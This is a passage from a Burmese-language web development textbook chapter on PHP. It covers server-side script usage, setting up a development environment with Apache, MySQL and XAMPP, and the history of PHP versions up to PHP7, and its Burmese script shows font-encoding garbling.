လညး် မရေှိပါဘးူ။ Web Server ကြိတာသ့က်ြဆုိငရ်ော Programming Language ကုိြ နားလညတ်ဲ့ Module ိတွ
ကုိြ Install လုပ်ိ ပးထားမယ် ဆုိရေင် နားလညပ်ပးီအလပုလ်ပု်ိ ပးနိုငမ်ာှ ပဖေစ်ပါတယ်။

ပုံ (၆-ခ) Market Share of Server-side Scripts

၂၀၁၆  ခနုစ်ှ  ိအာက်ြတိုဘာ  (၁၅)  ရေက်ြိနထ့ိ  ိကြာက်ြယူရေရေှိတဲ့  စစ်တမး်များအရေ  Server-side  Script  ိတရွေဲ့
အသံုးပပုမှု ပမာဏကုိြ  ပုံ  (၆-ခ) မာှ ိဖောပ်ပိပးထားပါတယ်။ လက်ြရေှိအငတ်ာနက်ြိပါ်ကြ  Website  ိတရွေဲ့  ၈၂.၁%
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ရောခိုငန်ှုနး်ကြ  PHP  ကုိြ အသံုးပပုထားတယ်လို့သိရေှိရေပါတယ်။ ကြျနထ်ငရ်ောှးတဲ့ နညး်ပညာိတကွြိတာ့  ASP.NET,
Java  နဲ့  Ruby တို့ပပဲဖေစ်ပါတယ်။  Server-side  Script  ိတအွသံုးမပပုပဲ  ရုိးရုိး  HTML/CSS,  JavaScript
သက်ြသက်ြနဲ့ ိရေးသားထားတဲ့ Website ိတလွညး် ရေှိပါတယ်။ ColdFusion နဲ့ Perl တို့လို နညး်ပညာိတကွြိတာ့
တစ်ကြယ်အသံုးများလို့မဟတုပ်၊ဲ  အငတ်ာနက်ြိခတဦ်းကြ အသံုးများခဲ့ဖေးူတဲ့  နညး်ပညာိတ ွ ပဖေစ်တာိအကြာင့်  ကြိန့
အချနိထ်ိ  အ့ဲဒနီညး်ပညာိတ ွ သံုးထားတဲ့  Website  ိတ ွကြျနရ်ေှိိ နိသးတဲ့သိဘာ ပဖေစ်ပါတယ်။  NodeJS  နညး်
ပညာ ထငရ်ောှးလာပခငး်နဲအ့တ ူJavaScript ကုိြ Server-side script အပဖေစ်လညး် အသံုးပပုလာိနအကြပါပပ။ီ 
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Web App အားလုံးကုိြ အငတ်ာနက်ြမာှလငွ့်တငထ်ားတာမဟတုဘ်းူ ဆုိတဲ့အချက်ြကုိြိတာသ့တပိပုရေပါမယ်။ လပုင်နး်
ိတနွဲ့ အဖေွဲ့အစညး်ိတမွာှ လပုင်နး်သံုးအပဖေစ်အသံုးပပုိနတဲ့  Web App ိတလွညး်အများကကီြးရေှိပါတယ်။ စစ်တမး်
ိကြာက်ြယူတဲ့အထမဲာှ လုပင်နး်သံုး App ိတပွါဝငမ်ာှမဟတုပ်ါဘးူ။

6.1 - PHP Development Environment
PHP  နဲ့  Server-side Script  ိတွိ ရေးအကြိတာမ့ယ်ဆုိရေင်  အရေငဆံု်း  Development Environment  တစ်ခတုည်
ိဆာက်ြဖေို့ လိုအပပ်ါတယ်။ ကုိြယ်ိရေးသားဖေနတ်းီမာှကြ Server-side Script  ိတဆုိွိတာအ့သံုးပပုိနတဲ့ကွြနပ်ျူတာ
ကုိြလညး် Web Server တစ်ခအုပဖေစ် ပပငဆ်ငထ်ားမသှာ ိရေးသားစမ်းသပန်ိုငမ်ာှပဖေစ်ပါတယ်။

အသံုးပပုမယ့်  Operating  System  ကြလညး်  ထည့်သွငး်စဉး်စားရေမယ့်  အချက်ြတစ်ချက်ြပဖေစ်ပါတယ်။  Desktop
ကွြနပ်ျူတာအိနနဲ့ Windows OS ကုိြအသံုးများအကြိပမယ့် Server ကွြနပ်ျူတာိတမွာှိတာ့ Linux OS ကုိြ အသံုး
များအကြပါတယ်။ Windows နဲ့ Linux တို့မာှ ကွြာပခားမှုတစ်ချို ့ရေှိပါတယ်။ ဥပမာတစ်ခု ိပပာရေရေင၊် File Name ိတွ
ဟာ  Windows  မာှ  Case-sensitive  မပဖေစ်ိပမယ့်၊  Linux  မာှ  Case-sensitive  ပဖေစ်ပါတယ်။  Windows  မာှ
readme.txt နဲ့ README.txt လ့ုိ အမည်ိ ပးထားတဲ့ File နစ်ှခကုိုြ Folder တစ်ခတုညး်မာှ အတတူွဲထားလို့မရေ
ပါဘးူ။  File  Name  တူိ နတယ်လို့ိ ပပာပါ  လမိ့်မယ်။  Linux  မာှိတာ့  ထားလို့ရေပါတယ်။  Name  တူိ နိပမယ့်
အသံုးပပုထားတဲ့စာလုံးအကကီြးအိသး မတလူိုပ့ါ။ 

ကြျွန်ိ တာတ်ို့ကြလညး် PHP Development ကုိြ Linux ိပါ်မာှပပုလပုန်ိုငရ်ေင်ိ တာ့ အိကြာငး်ဆံုးပဖေစပ်ါတယ်။ App
ကုိြ ိရေးသားတဲ့  Environment  နဲ့ လက်ြိတွ့လွှင့်တငတ်ဲ့  Environment  တို့ တညူသွီားတဲ့အတက်ွြ OS ကွြာပခားမှု
ိအကြာင့်ပဖေစ်လာတဲ့  ပပဿနာတစ်ချို ့ကုိြိရောှငလ်ွဲပပးီ  ပဖေစ်ိစနိုငပ်ါတယ်။  ပပးီိတာ၊့  Web  Developer  တစ်ိယာက်ြ
အိနနဲ့ Web App ကုိြ ိရေးသားိပးယံုနဲ့ အလပုက်ြမပပးီိသးပါဘးူ။  Web Server OS ိပါ်မာှ Project File ိတွ
စီမပံခငး်၊ Server Setting ိတကုိွြ ကုိြယ့် App နဲ့ ကုိြက်ြညီ ိအာငပ်ပငဆ်ငပ်ခငး်ကိြစ္စ တ ွပပုလပုန်ိုငဖ်ေိုလ့ညး် လိုအပပ်ါ
တယ်။ Linux OS ကုိြ စကြတညး်ကြအသံုးပပု မယ်ဆိုရေင် OS နဲ့ ပိုမိုရေငး်နှီးကြျွမး်ဝငသွ်ားပပီး Server ကုိြ စီမတံဲ့ အခါ
Command  Line  Interface,  SSH,  File  Permission,  User  Account  Management  အစရေှိတဲ့  Linux
အိပခပပု  နညး်ပညာိတကုိွြ  ကြျွမး်ကြျငမ်ှုရေှိပပးီပဖေစ်ိနနိုငလ်ို့  ပိုမိုအဆင်ိ ပပိစမာှ  ပဖေစ်ပါတယ်။  ကြိန့ိ ခတမ်ာှလသံုူး
များတဲ့  Ubuntu Linux, LinuxMint, Fedora အစရေှိတဲ့ Linux OS ိတဟွာ အသံုးပပုရေ မခက်ြခလဲပှ၊ဲ Windows
ကုိြ ပုံမနှအ်သံုးပပုနိုငသ်ူ တစ်ိယာက်ြ အချနိအ်များကကီြးိပးပပးီ ထပမ်ံိ လလ့ာစရောမလိုပဲ အသံုးပပုနိုငမ်ာှ ပဖေစ်ပါတယ်။
Web Developer  များ  Linux  ကုိြ ိလလ့ာရောမာှ  အိထာက်ြအကူြပဖေစ်ိစဖေို့  ရေညရ်ေယ်ွပပးီ  Ubuntu -  သင့်အတက်ွြ

http://w3techs.com/technologies/overview/programming_language/all


Professional Web Developer - အခန်း (၆) PHP Basic 170

Linux ဆုိတဲ့စာအုပတ်စ်အုပကိ်ြ ုကြျွန်ိ တာ်ိ ရေးသားပပုစုထားပါတယ်။ ိလလ့ာအကြည့်ဖေို ့အအကံြပပုလိုပါတယ်။

PHP Development Environment  တည်ိ ဆာက်ြဖေို့ အိပခခံအားပဖေင့်  (၃)  ခလုိုပါတယ်။  Web Server, PHP နဲ့
Database Management System (DBMS)  တို့ပပဲဖေစ်ပါတယ်။  Web Server  အိနနဲ့ အဓကိြိရေးွချယ်စရော  (၃)
မျို းရေှိပါတယ်။ Apache,  Nginx  နဲ့ IIS တို့ပပဲဖေစ်ပါတယ်။

၂၀၁၆ ခနုစ်ှ၊ ဇနန်ဝါရေလီမာှိကြာက်ြယူခဲ့တဲ့ စစ်တမး်အရေ  Apache Web Server  ကုိြ အငတ်ာနက်ြိပါ်မာှ အထင်
ရောှးဆံုး  Website  များရေဲ့  ၄၆.၃၁%  ကြ အသံုးပပုိနပပးီ  အသံုးအများဆံုး  Web Server  Software  တစ်ခပုဖေစ်ပါ
တယ်။ Operating System အားလုံးနးီပါးမာှ ထည့်သွငး်အသံုးပပုနိုငပ်ပးီ Open Source နညး်ပညာတစ်ခလုညး်ပဖေစ်
ပါတယ်။ Mosaic Browser ကုိြတထီငွခ်ဲ့တဲ့ NCSA ကြပဲ တထီငွထ်ားတဲ့ NCSA HTTPd လ့ုိ အမညရ်ေတဲ့  Web
Server Software ိပါ်မာှ အိပခပပုတည်ိ ဆာက်ြ ထားပခငး်ပဖေစ်ပါတယ်။

nginx (အငဂ်ျင် X လ့ုိအသံထက်ွြရေပါတယ်) ကြလညး် Open Source Web Server Software တစ်ခပုဖေစ်ပါတယ်။
လျှငပ်မနမ်ှုကုိြ အထးူအသားိပးထားပပးီ  Reverse Proxy  တစ်ခအုိနနဲ့အလပုလ်ပု်ိ ပးနိုငတ်ဲ့  Web Server  တစ်ခု
ပဖေစ်ပါတယ်။ ရုရောှးလမူျို း  Igor Sysoev အမညရ်ေတဲ့  Developer  ကြ စတငဖ်ေနတ်းီထားတာပဖေစ်ပပးီ သူလညး်ပဲ  OS
အားလုံး နးီပါးနဲ ့တွဲဖေက်ြအသံုးပပုနိုငပ်ါတယ်။ လက်ြရေှိဒတုယိိပမာက်ြ လူသံုးအများဆံုး Web Server ပဖေစ်ပါတယ်။

IIS ကြိတာ့  Web Server  အပပင်  Email Server, FTP Server  တို့ပါပးူတွဲပါဝငပ်ပးီ  Microsoft Windows  ရေဲ့
အစိတ်အပိုငး်တစ်ခလုညး်ပဖေစ်ပါတယ်။  Windows  XP,  Windows  Server  2003,  Windows  7,  Windows
Server  2008  စသပဖေင့်  Windows Version  အလိုက်ြတွဲဖေက်ြပါဝငတ်ဲ့  IIS Version  လညး် ကဲွြပပားသွားိလရ့ေှိပါ
တယ်။

PHP  ကုိြ ိဖောပ်ပခဲ့တဲ့  Server  အားလုံးနဲ့ တွဲဖေက်ြအသံုးပပုနိုငသ်လို သံုးလညး်သံုးိနအကြပါတယ်။ ဒါိပမယ့်  PHP  နဲ့
တွဲဖေက်ြ အသံုးပပုမှုအများဆံုးကြိတာ ့ Apache Web Server ပဖေစ်ပါတယ်။ ကြျွန်ိ တာတ်ို့ကြလညး် ဆက်ြလက်ြိဖောပ်ပ
မယ့် နမနူာိတမွာှ Apache ကုိြပဲ အသံုးပပုိဖောပ်ပသွားိတာမ့ာှပါ။

PHP  Development  Environment  အတက်ွြ  ိနာက်ြလိုအပခ်ျက်ြတစ်ခကုြိတာ့  Database  Management
System (DBMS)  ပဖေစ်ပါတယ်။  DBMS  ိတ ွအမျို းမျို းရေှိပါတယ်။  Programming Language  ိတလွိုပဲ  ကြဏ
အလိုက်ြ ကဲွြပပားပခား နားအကြလို့ ကြျယ်ပပန့်တဲ့ ဘာသာရေပတ်စ်ခပုဖေစ်ပါတယ။် တစ်ချို ့  DBMS ိတကွြကြဏစံုအတက်ွြ
အသံုးပပုနိုငတ်ဲ့  General  Purpose  DBMS  ိတပွဖေစ်အကြပါတယ်။  နယ်ပယ်တစ်ခုအတက်ွြ  သီးပခားရေညရ်ေယ်ွတဲ့
Special  Purpose DBMS  ိတ ွလည်းရေှိပါိသးတယ်တယ်။ တစ်ချို ့ကြ  Standalone Database  ိတပွဖေစ်အကြပပးီ
တစ်ချို ့ကြိတာ့  Client-Server  Model  နဲ့အသံုးပပုနိုငတ်ဲ့  Database  Server  ိတပွဖေစ်အကြပါတယ်။  တစ်ချို ့ကုိြ
Relational  Database Management  System (RDBMS)  လ့ုိိခါ်ပပးီ  တစ်ချို ့ကုိြိတာ့   NoSQL Database
System လိုိ့ ခါ်အကြပပနပ်ါတယ်။

PHP ကြ Database System အမျို းမျို းနဲ့တွဲဖေက်ြအလပုလ်ပုန်ိုငပ်ါတယ။်  ဒစီာအုပမ်ာှိတာ့ PHP နဲ့တွဲဖေက်ြ အသံုးပပု
နိုငဖ်ေို့ MySQL Database Server ကုိြ တွဲဖေက်ြအသံုးပပုိဖောပ်ပိပးသွားမာှပါ။ MySQL အိအကြာငး်ကုိြ ိနာက်ြအခနး်



Professional Web Developer - အခန်း (၆) PHP Basic 171

မာှိဖောပ်ပိပးပါမယ်။  ဒအီခန်းမာှိတာ့  Development  Environment  အတက်ွြ  Installation  လပုပ်ုံကုိြသာ
ထည့်သွငး်ိဖောပ်ပ ိပးမာှပါ။

6.2 - AMP Packages
AMP  ဆုိတာ  Apache-MySQL-PHP/Perl/Python  တို့ရေဲ့အတိုိ ကြာက်ြပဖေစ်ပါတယ်။  AMP Package  ဆုိတာ
ကြိတာ့  Apache,  MySQL  နဲ့  PHP  (သုိ)့  Perl  (သုိ့)  Python  အတွဲလိုက်ြတစ်ပါတညး်ပါဝငတ်ဲ့  Software
Package  တစ်မျို းပဖေစ်ပါတယ်။  Apache Web Server  ဟာ လက်ြရေှိအသံုးအများဆံုး  Web Server  ပဖေစ်ပပးီ  PHP
ဟာလညး် လက်ြရေှိအသံုး အများဆံုး  Server-side Script  ပဖေစ်ိအကြာငး် ိဖောပ်ပခဲ့ပါပပ။ီ ဒလီိုအသံုးအများဆံုးပဖေစ်ရေတဲ့
အိအကြာငး်ရေငး်ထမဲာှ AMP Packages ိတကွြလညး် တစ်ခအုပါအတငွပ်ဖေစ်ပါတယ်။ AMP Package ိတကွြ PHP
Development Environment တစ်ခကုိုြ လယ်ွလယ်ွကူြကူြ တည်ိ ဆာက်ြနိုင်ိ အာင ်အကူြအညီိ ပးပါတယ။်

ပုံမနှဆိ်ရုေင်  Apache  Web  Server  ကုိြ  Install  လပုပ်ပးီိနာက်ြ  လုိအပတ်ဲ့  ပဖေည့်စွက်ြလပု်ိ ဆာငခ်ျက်ြိတအွတက်ွြ
Module  ိတကုိွြ  ထပမ်ထံည့်သွင်းရေပါတယ်။  ပပးီတဲ့အခါ  PHP  ကုိြ  Install  လုပပ်ပးီ  သူလညး်ပဲ  ပဖေည့်စွက်ြ
လပု်ိ ဆာငခ်ျက်ြ ိတအွတက်ွြ အိပခခံ  Extension  ိတ ွထပမ်ံ ထည့်သွင်းိပးရေပါတယ်။ စံုပပီဆုိိတာမ့ှ  mod_php
ကုိြ Apache Module ိတရွေဲ့အကူြအညနီဲ့ Apache နဲ့ PHP ပးူတွဲ အလပုလ်ပုန်ိုငဖ်ေို့ Setting ိတ ွိရေးသားသတမ်တှ်
ရေပါတယ်။ ဘယ်လို Request မျို းဆိုရေင် Apache ကြ တုိက်ြရုိက်ြ Response ပပနရ်ေမာှလညး်၊ ဘယ်လို Request မျို း
ဆုိရေင် PHP နဲ့ အလပုလ်ပုပ်ပးီမှ  Response ပပနရ်ေမာှလညး် စသပဖေင့် သတမ်တှ်ိ ပးဖေို့ လိုအပန်ိုငပ်ါတယ်။ ိလလ့ာသူ
တစ်ဦးအိနနဲ ့PHP စတင်ိ ရေးသား စမး်သပန်ိုငဖ်ေို ့ဒါိတကုိွြ တစ်ခခုျငး် ကုိြယ်တိုငလ်ိုက်ြလပုရ်ေရေင ်မလယ်ွပါဘးူ။

AMP Packages  ိတကွြ ဒပီပဿနာကုိြိပဖေရေငှး်ိပးပါတယ်။  WAMP, LAMP, MAMP, Bitnami,  DAMP,
Zend Server စတဲ့ AMP Package ိတအွများကကီြးရေှိပါတယ်။ အ့ဲဒ ီPackage ိတကွြ Developer ိတအွိနနဲ့ ဘာ
မထှပပ်ပးီ ထူးထးူိထွိ ထ ွSetting လပု်ိ နစရောမလိုပဲ  Package ကုိြ ထည့်သွငး်လိုက်ြယံုနဲ့  Apache Web Server,
PHP နဲ့  MySQL နဲ့ ဆက်ြစပ်  Module ိတ ွExtension ိတကုိွြ တစ်ပါတညး် ထည့်သွငး်ိပးပပးီ အသင့်အသံုးပပု
နိုင်ိ အာင် စီစဉ်ိ ပးပါတယ။် AMP Package ိတထွမဲာှ လသံုူးများတာ ကြိတာ့ WAMP, LAMP နဲ့ MAMP တို့
ပပဲဖေစ်ပါတယ။် ိနာက်ြကြ  AMP  ိတကွြိတာ့  အဓပိ္ပါယ်အတတူပူါပ။ဲ  WAMP  ရေဲ့  ိရေှ့ကြ  W  ကြ  Windows  ကုိြ
ရေညည်ွှနး်တာပဖေစ်လို့ WAMP ဟာ Windows မာှအသုံးပပုနိုငတ်ဲ့ AMP Package တစ်ခပုဖေစ်ပါတယ်။ LAMP ရေဲ့  L
ကြိတာ့  Linux  ကုိြရေညည်ွှနး်ပပးီ  LAMP  ကြိတာ့  Linux  အတက်ွြ  AMP Package  ပဖေစ်ပါတယ်။  MAMP  ရေဲ့
ိရေှ့ ဆံုး ကြ M ကြ Mac ကုိြ ရေညည်ွှနး်ပပီး MAMP ဟာ Mac အတက်ွြ AMP Package ပဖေစ်ပါတယ်။

အခခုျနိမ်ာှိတာ့ Apache Friends လိုိ့ ခါ်တဲ့အဖေွဲ့အစည်းတစ်ခကုြ WAMP, LAMP နဲ့ MAMP တို့ကုိြ  XAMPP
ဆုိတဲ့ အမညတ်စ်ခနုဲ့ စုစညး်ိပးထားပါတယ်။  XAMPP မာှပါဝငတ်ဲ့ X ကြ Cross-Platform ဆုိတဲ့အဓပိ္ပါယ်ပဖေစ်ပါ
တယ်။ P နစ်ှလုံးပဖေစ်သွားတာကြိတာ ့PHP နဲ့ Perl နညး်ပညာနစ်ှမျို း ပါဝငလ်ာတဲ့အတက်ွြပါ။ 
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6.3 - Getting XAMPP
XAMPP Installer  ကုိြ  apachefriends.org  မာှ  Download  ရေယူနိုငပ်ါတယ်။  Windows, Linux, Mac  စတဲ့
OS  များ အတက်ွြ  Installer  ိတ ွအသင့်ိ ပးထားပါတယ်။ ဒစီာိရေးသားိနချနိမ်ာှ  XAMPP 5.5.38, 5.6.24  နဲ့
7.0.9 ဆုိပပးီ  Version  သံုးမျို းရေှိိ နပါတယ်။ ဒီိ နရောမာှ PHP Version ိတအွိအကြာငး် အအကြမ်းဖေျငး် ထည့်ိ ပပာဖေို့
လိုလာပါတယ်။ 

PHP မာှ အဓကိြ Major Version နစ်ှမျို းရေှိပါတယ်။ PHP5 နဲ့ PHP7 ပဖေစ်ပါတယ်။ PHP5 ဟာ လက်ြရေှိအသုံးများ
ိနဆဲ အဓကိြ Version ပဖေစ်ပါတယ်။ PHP5 မာှလညး် 5.3, 5.4, 5.5, 5.6 စသပဖေင့် အဆင့်ဆင့် ရေှိပါိသးတယ်။ ဒလီို
အဆင့်ဆင့် ရေှိိ ပမယ့် အားလုံးကြ PHP5 Series ထဲမာှ ပါဝငအ်ကြတာချညး်ပဖေစ်လို့ တစ်ခနုဲတ့စ်ခု အရေမ်းမကွြာပါဘးူ။
Version  ပမင့်လာတိုငး်  လုံပခုံိရေး  ပိုိ ကြာငး်လာတက်ြပါတယ်။  လပု်ိ ဆာငခ်ျက်ြ  အသစ်တစ်ချို ့  ပါဝငလ်ာတက်ြပါ
တယ်။  ဒါိအကြာင့်  အိပခခအံားပဖေင့်  Version  ပမင့်ိ လ ိကြာငး်ိလပလဲို့  ဆုိနိုငပ်ါတယ်။  XAMPP 5.5.38  ဆုိရေင်
PHP5.5 ပါဝငတ်ဲ့ Package ဆုိတဲ့အဓပိ္ပါယ်ပဖေစ်ပပီး၊ XAMPP 5.6.24 ဆုိရေင်ိ တာ့ PHP5.6 ပါဝငတ်ဲ့ Package လို့
နားလညရ်ေမာှ ပဖေစ်ပါတယ်။

PHP  မာှ  PHP6  ဆုိတာ မရေှိပါဘးူ။ ရေှိိ တာရ့ေှိခဲ့ပါတယ်။ ဒါိပမယ့် အများသံုးဖေိုိ့ အကြပငာနိုငတ်ဲ့  အဆင့်ကုိြ  မိရောက်ြ
လိုက်ြပါဘးူ။ ဒါိအကြာင့် PHP6 ကုိြိကြျာပ်ပးီ ိနာက်ြဆံုးထပမ်ထံက်ွြရေှိလာတာကြိတာ့ PHP7 ပဖေစ်ပါတယ်။ XAMPP
7.0.9 ဆုိရေင် PHP7 ပါဝငတ်ဲ့ Package လ့ုိ နားလညရ်ေမာှ ပဖေစ်ပါတယ။် ဒစီာအုပမ်ာှ PHP7 ပါဝငတ်ဲ့ XAMPP ကုိြ
အသံုးပပုပပးီ ဆက်ြလက်ြိဖောပ်ပသွားမာှ ပဖေစ်ပါတယ်။ Version နပံါတ်ိ တကွြိတာ့ အပမတဲိုးတက်ြိနမာှပါ။ စာဖေတသူ်
အိနနဲ့ XAMPP ကုိြ Download လပုတ်ဲ့အခါ XAMPP 7.x.x Version ကုိြ ရောှိဖေ ွDownload ရေယူရေမာှပါ။

ကုိြယ်တိုင် Download ရေယူဖေို့အခက်ြအခဲ ရေှိတယ်ဆုိရေငလ်ညး် ဒစီာအုပန်ဲ့အတူ တွဲဖေက်ြပါဝငတ်ဲ့ DVD ထဲကြိန ရေယူ
အသံုးပပုနိုငပ်ါတယ်။

6.4 - PHP 7 
PHP ဟာ အပခား Programming Language ိတနွဲ့နှိုငး်ယှဉရ်ေင် Language Design ပိုငး် အားနတဲယ်လို့ ိဝဖေနခ်ံ
ရေိလရ့ေှိတဲ့  Language  တစ်ခပုဖေစ်ပါတယ်။  PHP  ကုိြ  လက်ြိတွ့  အသံုးပပုအကြတဲ့  လုပင်နး်အဖေွဲ့အစည်းိတ ွ ထမဲာှ
Facebook  ကြ အကကီြးဆံုးနဲ့  အဓကိြအကြျဆံုးလို့  ဆုိနိုငပ်ါတယ်။  ဒါိအကြာင့်  Facebook  အိနနဲ့  PHP  မာှရေှိိ နတဲ့
အားနညး်ချက်ြိတကုိွြ သူန့ညး်သူဟနန်ဲ့ ိပဖေရေငှး်ဖေို့ အမျို းမျို းအားထတုခ်ဲ့ပါတယ်။ ပထမဆံုးအိနနဲ့  (၂၀၁၀) ခနုစ်ှမာှ
HipHop for PHP (HPHPc) လ့ုိိခါ်တဲ့နညး်ပညာတစ်မျို းကုိြ တထီငွခ်ဲ့ပါတယ်။ HPHPc ဟာ Compiler တစ်မျို း
ပဖေစ်ပပးီ  PHP  Code  ိတကုိွြ  C++  Code  ပဖေစ်ိအာင်  ိပပာငး်ိပးနိုငပ်ါတယ်။  C++  Code  ိပပာငး်ပပးီိတာမ့ှ
Compile  လုပတ်ဲ့အတက်ွြ  ရိးုရုိး  PHP  Interpreter  ထက်ြ  စွမး်ိဆာငရ်ေညပ်ိုငး်  ပိုိ ကြာငး်ပါတယ်။  ိနာက်ြိတာ့
HPHPc  ကုိြ  HHVM (HipHop Virtual  Machine  -  hhvm.com)  လ့ုိိခါ်တဲ့နညး်ပညာနဲ့  အစားထိုးလိုက်ြပါ
တယ်။ HHVM ကြ HPHPc လို C++ ကုိြ တစ်ဆင့်ခံိ ပပာငး်မိနပဲ PHP Code ိတကုိွြ တစ်ခါတညး် Byte Code
ိပပာငး် Compile လပု်ိ ပးတဲ့ Runtime နညး်ပညာပဖေစ်ပါတယ်။

ဒါ့အပပင် Hack (hacklang.org) လိုိ့ ခါ်တဲ့ Programming Language တစ်မျို းကုိြလညး် Facebook ကြ တီထငွခ်ဲ့
ပပနပ်ါိသးတယ။် PHP ဟာ မလူသဘာဝအရေ Dynamic Type Language တစ်မျို းပဖေစ်ပါတယ်။ Hack ကြ PHP

http://hacklang.org/
http://hhvm.com/
http://apachefriends.org/
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Code  ိတကုိွြ  Static Type  အိနနဲ့ိ ရော၊  Dynamic Type  အိနနဲ့ပါ နစ်ှသက်ြသလို ိရေးွချယ်ိရေးသားနိုင်ိ အာင်
ဖေနတ်းီိပးထားတဲ့ Language တစ်ခပုဖေစ်ပါတယ်။

PHP ကုိြအသံုးပပုိနအကြတဲ့ Developer ိတအွအကြားမာှ အပမနန်ှံုးပိုိ ကြာငး်တဲ့ HHVM နဲ့ Language Design ပိုငး်
ပိုိ ကြာငး်တဲ့ Hack တို့ကုိြ ိထာက်ြခအံားိပးမှု တစ်ပဖေညး်ပဖေည်းများလာပပးီ၊ အနာဂါတမ်ာှ မလူ PHP ကုိြ HHVM နဲ့
အစားထိုးဖေို့ ိတာငး်ဆိမုှု တ ွရေှိလာခဲ့ပါတယ်။ PHP ကုိြလက်ြရေှိတာဝနယူ်ိနတဲ့ PHP Core Developer ိတအွိနနဲ့
အ့ဲဒီအချနိမ်ာှ  Unicode  Support  နဲ့  အပခားလပု်ိ ဆာငခ်ျက်ြသစ်ိတပွါဝငတ်ဲ့  PHP6  ကုိြ  အိကြာငအ်ထည်ိ ဖောဖ်ေို့
ကကိြုးစားိနတာပါ။ ဒါိပမယ့် လက်ြိတွ့မာှ PHP6 ကြ ိရေှ့မဆက်ြနိုငပ်ဲ မိအာငပ်မငပ်ဖေစ်ိနတဲ့အချနိမ်ာှ Facebook ရေဲ့
HHVM ကြ နာမည်ိ ကြာငး် အိတာ်ိ လးရေလာိနပခငး် ပဖေစ်ပါတယ်။

ဒအီကြားထမဲာှ Hack နဲ့ HPHPc နဲ့ အလားသဏာနတ်တူဲ့ Zephire (zephir-lang.com) ဆုိတဲ့ Language တစ်မျို း
ိပါ်လာိသးသလို၊  HippyVM (hippyvm.com) ဆုိတဲ့နညး်ပညာလညး် ိပါ်ိပါက်ြလာပါိသးတယ်။ ဒလီို  PHP
ရေဲ့  အားနညး်ချက်ြိတကုိွြ ပပုပပငပ်ပးီ  အပမနန်ှုနး်ိကြာငး်ိအာင်  တထီငွလ်ာအကြတဲ့  သီးပခားနညး်ပညာိတ ွိပါ်ိပါက်ြ
လာပခငး်ဟာ  ိကြာငး်တဲ့  အလားအလာပပဲဖေစ်ပါတယ်။  ဒါနဲပ့၊ဲ  PHP Core  Team  ကြလညး်  PHPNG  လိုိ့ ခါ်တဲ့
Compiler  နညး်ပညာ သစ်တစ်ခကုိုြ စတငတ်ထီငွလ်ာခဲ့ပါတယ်။  PHPNG  ဟာ  HHVM  လိုပဲ  Runtime  နညး်
ပညာတစ်မျို းပဖေစ်ပပးီ မလူ PHP Interpreter  ထက်ြ ၂၀% ပိုပမနတ်ယ်လို့ ဆုိပါတယ်။ တနညး်အားပဖေင့်  PHP Core
Team ကြ HHVM ကုိြ ယှဉန်ိုငစွ်မ်းရေှိတဲ့ နညး်ပညာကုိြ ဖေနတ်းီခဲ့ပခင်းပ ဲပဖေစ်ပါတယ်။

(၂၀၁၄)  ခနုစ်ှထမဲာှိတာ့  PHP Core  Team Developer  ိတဟွာ  PHP7  ဆုိတဲ့အမညသ်စ်နဲ့  အနာဂါတ်  PHP
Version ကုိြ PHPNG ိပါ်မာှအိပခခပံပးီ စတင်ိ ဆာငရ်ေက်ွြလာခဲ့အကြပါတယ်။ (၂၀၁၅) ခနုစ်ှ ဒဇီငဘ်ာမာှ အပပးီသတ်
ိအကြပငာနိုငခ်ဲ့ပပးီ ဒစီာိရေးသားိနချနိမ်ာှ  Developer ိတအွအကြား တငွတ်ငွက်ြျယ်ကြျယ် စတငအ်သံုးပပုိနအကြပပီ ပဖေစ်
ပါတယ်။ 

PHP7  ဟာ  PHP5  ထက်ြ စွမး်ိဆာငရ်ေည် အပမနန်ှုန်း  (Performance)  ပိုိ ကြာငး်ပပီး၊ အများအားပဖေင့်  Backward
Compatible  ပဖေစ်ပါတယ်။  ဆုိလိုတာကြ  PHP5  အတက်ွြ ိရေးသားထားတဲ့  Code  ိတကုိွြ  PHP7  နဲ့  ဆက်ြလက်ြ
အသံုးပပုနိုငမ်ာှ  ပဖေစ်ပါတယ်။  အများအားပဖေင့်  Backward  Compatible  ပဖေစ်တာပါ။  အပပည့်အဝ  Backward
Compatible ပဖေစ်တာိတာ့ မဟတုပ်ါဘးူ။ ဒစီာအုပရ်ေဲ့  ပထမအကကိြမ၊် ဒတုယိအကကိြမန်ဲ့ တတယိအကကိြမတ်ို့မာှ PHP5
ကုိြ အသံုးပပုပပးီ Code နမနူာိတကုိွြ ိဖောပ်ပခဲ့ပါတယ။် ဒါိအကြာင့် အ့ဲဒစီာအပု်ိ တမွာှ ိဖောပ်ပထားတဲ့ Code ိတထွကဲြ
အချို ့ဟာ PHP7 မာှ အလပုလ်ပုမ်ာှ မဟတုပ်ါဘးူ။ ဒစီာအုပမ်ာှိတာ့ အနာဂါတမ်ာှ PHP5 ကုိြ အစားထိုး သွားိတာ့
မာှ ပဖေစ်တဲ့ PHP7 ကုိြ ိပပာငး်လအဲသံုးပပု ိဖောပ်ပသွားမာှပပဲဖေစ်ပါတယ်။ အပပန်အလနှအ်ားပဖေင့် ဒစီာအုပမ်ာှ ိဖောပ်ပထား
တဲ့ Code ိတထွကဲြ အချို ့ဟာ PHP5 Version အနမိ့်များမာှ (ဥပမာ - PHP5.2) အလပုလ်ပုမ်ာှ မဟတုဘ်းူဆုိတာ
ကုိြ သတပိပုသင့်ပါတယ်။

http://hippyvm.com/
http://zephir-lang.com/
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6.5 - Installing XAMPP
PHP7 ပါဝငတ်ဲ့ XAMPP ကုိြ Download ရေယူပပီးပပဆုိီရေင် Install လုပရ်ေမာှ ပဖေစ်ပါတယ။် Installer ကုိြ Run လိုက်ြ
ရေင ်ပုံ (၆-ဂ) မာှ ိဖောပ်ပထားသလို ိတွ့ရေပါလမိ့်မယ်။ 

ပုံ (၆-ဂ) XAMPP Windows - Installer Wizard

Next Button  ကုိြ  နှိပပ်ပးီ  ိပါ်လာတဲ့ညနွအ်ကြားချက်ြများအတိုငး်  ဆက်ြလက်ြိဆာငရ်ေက်ွြသွားပါ။  ထည့်သွငး်လိုတဲ့
နညး်ပညာ ိရေးွချယ်နိုငတ်ဲ့အဆင့်မာှ မလိုအပတ်ဲ့ ကြျနန်ညး်ပညာိတကုိွြ ချနလ်ိုကြ ချနခ်ဲ့နိုငပ်ါတယ်။ မချနပ်ဲ အကုြန်
ထည့်သွငး်လိုက်ြရေငလ်ညး် ဘာပပဿနာမှိ တာ့ မရေှိပါဘးူ။ ချနခ်ဲ့လို့မရေပဲ မပဖေစ်မိနလိုအပတ်ဲ့ နညး်ပညာိတကွြိတာ့
Apache, MySQL, PHP နဲ့ phpMyAdmin တို့ပဖေစ်ပါတယ်။

